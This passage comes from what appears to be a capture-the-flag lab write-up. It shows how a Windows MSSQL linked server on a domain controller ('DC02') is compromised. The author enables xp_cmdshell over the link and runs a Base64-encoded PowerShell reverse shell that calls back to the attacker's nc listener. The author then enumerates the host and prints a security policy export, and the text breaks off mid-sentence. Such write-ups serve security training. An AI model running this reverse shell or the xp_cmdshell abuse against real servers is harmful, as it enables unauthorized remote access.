<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span>EXEC <span class="o">(</span><span class="s1">'EXEC xp_cmdshell ''whoami'''</span><span class="o">)</span> AT <span class="o">[</span>DC02.darkzero.ext]
<span class="go">ERROR(DC02): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
</span></code></pre></div></div>

<p>It’s disabled. I’ll switch to set my context on the remote server:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span>use_link <span class="o">[</span>DC02.darkzero.ext]
<span class="gp">SQL &gt;[DC02.darkzero.ext] (dc01_sql_svc  dbo@master)&gt; </span><span class="w">
</span></code></pre></div></div>

<p>Now I can easily enable it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL &gt;[DC02.darkzero.ext] (dc01_sql_svc  dbo@master)&gt; </span>enable_xp_cmdshell
<span class="go">INFO(DC02): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC02): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
</span><span class="gp">SQL &gt;[DC02.darkzero.ext] (dc01_sql_svc  dbo@master)&gt; </span>xp_cmdshell <span class="nb">whoami</span>
<span class="go">output                 
--------------------   
darkzero-ext\svc_sql   
NULL 
</span></code></pre></div></div>

<h3 id="shell">Shell</h3>

<p>I’ll grab a PowerShell #3 (Base64) reverse shell from <a href="https://www.revshells.com/">revshells.com</a> and run it on the MSSQL server:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL &gt;[DC02.darkzero.ext] (dc01_sql_svc  dbo@master)&gt; </span>xp_cmdshell powershell <span class="nt">-e</span> JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA<span class="o">=</span>
</code></pre></div></div>

<p>It hangs, but at my <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.5.34 62791

</span><span class="gp">PS C:\Windows\system32&gt;</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="shell-as-system-on-dc02">Shell as system on DC02</h2>

<h3 id="enumeration">Enumeration</h3>

<p>The shell is running as svc_sql:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\users&gt;</span><span class="w"> </span><span class="n">whoami</span><span class="w">
</span><span class="go">darkzero-ext\svc_sql
</span></code></pre></div></div>

<p>The hostname is DC02, and the IP address is 172.16.20.2:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\&gt;</span><span class="w"> </span><span class="n">hostname</span><span class="w">
</span><span class="go">DC02
</span><span class="gp">PS C:\&gt;</span><span class="w"> </span><span class="n">ipconfig</span><span class="w">
</span><span class="go">
Windows IP Configuration

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 172.16.20.2
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.20.1
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">DC02</code> has only the Administrator and <code class="language-plaintext highlighter-rouge">svc_sql</code> users with home directories:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\users&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         3/11/2026   9:20 PM                Administrator
d-r---         7/29/2025  12:58 PM                Public
d-----         7/29/2025   3:23 PM                svc_sql
</span></code></pre></div></div>

<p>There’s nothing interesting svc_sql can access.</p>

<p>In the root of the <code class="language-plaintext highlighter-rouge">C:</code> drive there’s a policy export file, likely the output of <code class="language-plaintext highlighter-rouge">secedit /export</code> or a Group Policy backup:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/8/2021   8:15 AM                PerfLogs
d-r---         7/29/2025   2:49 PM                Program Files
d-----         7/29/2025   2:48 PM                Program Files (x86)
d-r---         7/29/2025   3:23 PM                Users
d-----         7/30/2025  10:57 PM                Windows
-a----         7/30/2025   1:38 PM          18594 Policy_Backup.inf
</span></code></pre></div></div>

<p>These files can have things like user rights assignments (who has SeDebugPrivilege, SeImpersonatePrivilege, etc.), account policies, registry security settings, and potentially cleartext passwords in service account configurations.</p>

<p>The full file is:</p>

<div class="language-ini code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="nn">[Unicode]</span><span class="w">
</span><span class="py">Unicode</span><span class="p">=</span><span class="s">yes</span>
<span class="nn">[System Access]</span><span class="w">
</span><span class="py">MinimumPasswordAge</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">1</span>
<span class="py">MaximumPasswordAge</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">42</span>
<span class="py">MinimumPasswordLength</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">7</span>
<span class="py">PasswordComplexity</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">1</span>
<span class="py">PasswordHistorySize</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">24</span>
<span class="py">LockoutBadCount</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">RequireLogonToChangePassword</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">ForceLogoffWhenHourExpire</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">NewAdministratorName</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">"Administrator"</span>
<span class="py">NewGuestName</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">"Guest"</span>
<span class="py">ClearTextPassword</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">LSAAnonymousNameLookup</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">EnableAdminAccount</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">1</span>
<span class="py">EnableGuestAccount</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="nn">[Event Audit]</span><span class="w">
</span><span class="py">AuditSystemEvents</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">AuditLogonEvents</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">AuditObjectAccess</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">AuditPrivilegeUse</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">AuditPolicyChange</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">AuditAccountManage</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">AuditProcessTracking</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">AuditDSAccess</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="py">AuditAccountLogon</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="nn">[Kerberos Policy]</span><span class="w">
</span><span class="py">MaxTicketAge</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">10</span>
<span class="py">MaxRenewAge</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">7</span>
<span class="py">MaxServiceAge</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">600</span>
<span class="py">MaxClockSkew</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">5</span>
<span class="py">TicketValidateClient</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">1</span>
<span class="nn">[Registry Values]</span><span class="w">
</span><span class="na">MACHINE\Software\Microsoft\Windows</span><span class="w"> </span><span class="na">NT\CurrentVersion\Setup\RecoveryConsole\</span><span class="py">SecurityLevel</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Microsoft\Windows</span><span class="w"> </span><span class="na">NT\CurrentVersion\Setup\RecoveryConsole\</span><span class="py">SetCommand</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Microsoft\Windows</span><span class="w"> </span><span class="na">NT\CurrentVersion\Winlogon\</span><span class="py">CachedLogonsCount</span><span class="p">=</span><span class="s">1,"10"</span>
<span class="na">MACHINE\Software\Microsoft\Windows</span><span class="w"> </span><span class="na">NT\CurrentVersion\Winlogon\</span><span class="py">ForceUnlockLogon</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Microsoft\Windows</span><span class="w"> </span><span class="na">NT\CurrentVersion\Winlogon\</span><span class="py">PasswordExpiryWarning</span><span class="p">=</span><span class="s">4,5</span>
<span class="na">MACHINE\Software\Microsoft\Windows</span><span class="w"> </span><span class="na">NT\CurrentVersion\Winlogon\</span><span class="py">ScRemoveOption</span><span class="p">=</span><span class="s">1,"0"</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">ConsentPromptBehaviorAdmin</span><span class="p">=</span><span class="s">4,5</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">ConsentPromptBehaviorUser</span><span class="p">=</span><span class="s">4,3</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">DisableCAD</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">DontDisplayLastUserName</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">EnableInstallerDetection</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">EnableLUA</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">EnableSecureUIAPaths</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">EnableUIADesktopToggle</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">EnableVirtualization</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">LegalNoticeCaption</span><span class="p">=</span><span class="s">1,""</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">LegalNoticeText</span><span class="p">=</span><span class="s">7,</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">PromptOnSecureDesktop</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">ScForceOption</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">ShutdownWithoutLogon</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">UndockWithoutLogon</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\</span><span class="py">ValidateAdminCodeSignatures</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\</span><span class="py">AuthenticodeEnabled</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">AuditBaseObjects</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">CrashOnAuditFail</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">DisableDomainCreds</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">EveryoneIncludesAnonymous</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy\</span><span class="py">Enabled</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">ForceGuest</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">FullPrivilegeAuditing</span><span class="p">=</span><span class="s">3,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">LimitBlankPasswordUse</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\</span><span class="py">NTLMMinClientSec</span><span class="p">=</span><span class="s">4,536870912</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\</span><span class="py">NTLMMinServerSec</span><span class="p">=</span><span class="s">4,536870912</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">NoLMHash</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">RestrictAnonymous</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Lsa\</span><span class="py">RestrictAnonymousSAM</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Print\Providers\LanMan</span><span class="w"> </span><span class="na">Print</span><span class="w"> </span><span class="na">Services\Servers\</span><span class="py">AddPrinterDrivers</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\SecurePipeServers\Winreg\AllowedExactPaths\</span><span class="py">Machine</span><span class="p">=</span><span class="s">7,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\C</span><span class="s">ontrol</span><span class="se">\P</span><span class="s">roductOptions,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\C</span><span class="s">ontrol</span><span class="se">\S</span><span class="s">erver Applications,Software</span><span class="se">\M</span><span class="s">icrosoft</span><span class="se">\W</span><span class="s">indows NT</span><span class="se">\C</span><span class="s">urrentVersion</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\SecurePipeServers\Winreg\AllowedPaths\</span><span class="py">Machine</span><span class="p">=</span><span class="s">7,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\C</span><span class="s">ontrol</span><span class="se">\P</span><span class="s">rint</span><span class="se">\P</span><span class="s">rinters,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\S</span><span class="s">ervices</span><span class="se">\E</span><span class="s">ventlog,Software</span><span class="se">\M</span><span class="s">icrosoft</span><span class="se">\O</span><span class="s">LAP Server,Software</span><span class="se">\M</span><span class="s">icrosoft</span><span class="se">\W</span><span class="s">indows NT</span><span class="se">\C</span><span class="s">urrentVersion</span><span class="se">\P</span><span class="s">rint,Software</span><span class="se">\M</span><span class="s">icrosoft</span><span class="se">\W</span><span class="s">indows NT</span><span class="se">\C</span><span class="s">urrentVersion</span><span class="se">\W</span><span class="s">indows,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\C</span><span class="s">ontrol</span><span class="se">\C</span><span class="s">ontentIndex,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\C</span><span class="s">ontrol</span><span class="se">\T</span><span class="s">erminal Server,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\C</span><span class="s">ontrol</span><span class="se">\T</span><span class="s">erminal Server</span><span class="se">\U</span><span class="s">serConfig,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\C</span><span class="s">ontrol</span><span class="se">\T</span><span class="s">erminal Server</span><span class="se">\D</span><span class="s">efaultUserConfiguration,Software</span><span class="se">\M</span><span class="s">icrosoft</span><span class="se">\W</span><span class="s">indows NT</span><span class="se">\C</span><span class="s">urrentVersion</span><span class="se">\P</span><span class="s">erflib,System</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\S</span><span class="s">ervices</span><span class="se">\S</span><span class="s">ysmonLog,SYSTEM</span><span class="se">\C</span><span class="s">urrentControlSet</span><span class="se">\S</span><span class="s">ervices</span><span class="se">\C</span><span class="s">ertSvc</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Session</span><span class="w"> </span><span class="na">Manager\Kernel\</span><span class="py">ObCaseInsensitive</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Session</span><span class="w"> </span><span class="na">Manager\Memory</span><span class="w"> </span><span class="na">Management\</span><span class="py">ClearPageFileAtShutdown</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Session</span><span class="w"> </span><span class="na">Manager\</span><span class="py">ProtectionMode</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Control\Session</span><span class="w"> </span><span class="na">Manager\SubSystems\</span><span class="py">optional</span><span class="p">=</span><span class="s">7,</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\</span><span class="py">AutoDisconnect</span><span class="p">=</span><span class="s">4,15</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\</span><span class="py">EnableForcedLogOff</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\</span><span class="py">EnableSecuritySignature</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\</span><span class="py">NullSessionPipes</span><span class="p">=</span><span class="s">7,,netlogon,samr,lsarpc</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\</span><span class="py">RequireSecuritySignature</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\</span><span class="py">RestrictNullSessAccess</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\</span><span class="py">EnablePlainTextPassword</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\</span><span class="py">EnableSecuritySignature</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\</span><span class="py">RequireSecuritySignature</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\LDAP\</span><span class="py">LDAPClientIntegrity</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\</span><span class="py">DisablePasswordChange</span><span class="p">=</span><span class="s">4,0</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\</span><span class="py">MaximumPasswordAge</span><span class="p">=</span><span class="s">4,30</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\</span><span class="py">RequireSignOrSeal</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\</span><span class="py">RequireStrongKey</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\</span><span class="py">SealSecureChannel</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\</span><span class="py">SignSecureChannel</span><span class="p">=</span><span class="s">4,1</span>
<span class="na">MACHINE\System\CurrentControlSet\Services\NTDS\Parameters\</span><span class="py">LDAPServerIntegrity</span><span class="p">=</span><span class="s">4,1</span>
<span class="nn">[Privilege Rights]</span><span class="w">
</span><span class="py">SeNetworkLogonRight</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-1-0,*S-1-5-11,*S-1-5-32-544,*S-1-5-32-554,*S-1-5-9</span>
<span class="py">SeMachineAccountPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-11</span>
<span class="py">SeBackupPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-32-549,*S-1-5-32-551</span>
<span class="py">SeChangeNotifyPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-1-0,*S-1-5-11,*S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-32-554,*S-1-5-80-344959196-2060754871-2302487193-2804545603-1466107430,*S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003</span>
<span class="py">SeSystemtimePrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-19,*S-1-5-32-544,*S-1-5-32-549</span>
<span class="py">SeCreatePagefilePrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeDebugPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeRemoteShutdownPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-32-549</span>
<span class="py">SeAuditPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-19,*S-1-5-20</span>
<span class="py">SeIncreaseQuotaPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-80-344959196-2060754871-2302487193-2804545603-1466107430,*S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003</span>
<span class="py">SeIncreaseBasePriorityPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-90-0</span>
<span class="py">SeLoadDriverPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-32-550</span>
<span class="py">SeBatchLogonRight</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-559</span>
<span class="py">SeServiceLogonRight</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-20,svc_sql,SQLServer2005SQLBrowserUser$DC02,*S-1-5-80-0,*S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775,*S-1-5-80-344959196-2060754871-2302487193-2804545603-1466107430,*S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003</span>
<span class="py">SeInteractiveLogonRight</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-32-548,*S-1-5-32-549,*S-1-5-32-550,*S-1-5-32-551,*S-1-5-9</span>
<span class="py">SeSecurityPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeSystemEnvironmentPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeProfileSingleProcessPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeSystemProfilePrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420</span>
<span class="py">SeAssignPrimaryTokenPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-19,*S-1-5-20,*S-1-5-80-344959196-2060754871-2302487193-2804545603-1466107430,*S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003</span>
<span class="py">SeRestorePrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-32-549,*S-1-5-32-551</span>
<span class="py">SeShutdownPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544,*S-1-5-32-549,*S-1-5-32-550,*S-1-5-32-551</span>
<span class="py">SeTakeOwnershipPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeUndockPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeEnableDelegationPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeManageVolumePrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeRemoteInteractiveLogonRight</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeImpersonatePrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-6</span>
<span class="py">SeCreateGlobalPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-6</span>
<span class="py">SeIncreaseWorkingSetPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-545</span>
<span class="py">SeTimeZonePrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-19,*S-1-5-32-544,*S-1-5-32-549</span>
<span class="py">SeCreateSymbolicLinkPrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="py">SeDelegateSessionUserImpersonatePrivilege</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">*S-1-5-32-544</span>
<span class="nn">[Version]</span><span class="w">
</span><span class="py">signature</span><span class="p">=</span><span class="s">"$CHICAGO$"</span>
<span class="py">Revision</span><span class="p">=</span><span class="s">1</span>
</code></pre></div></div>

<p>There’s nothing super useful here. svc_sql is set by name rather than SID in this line:</p>

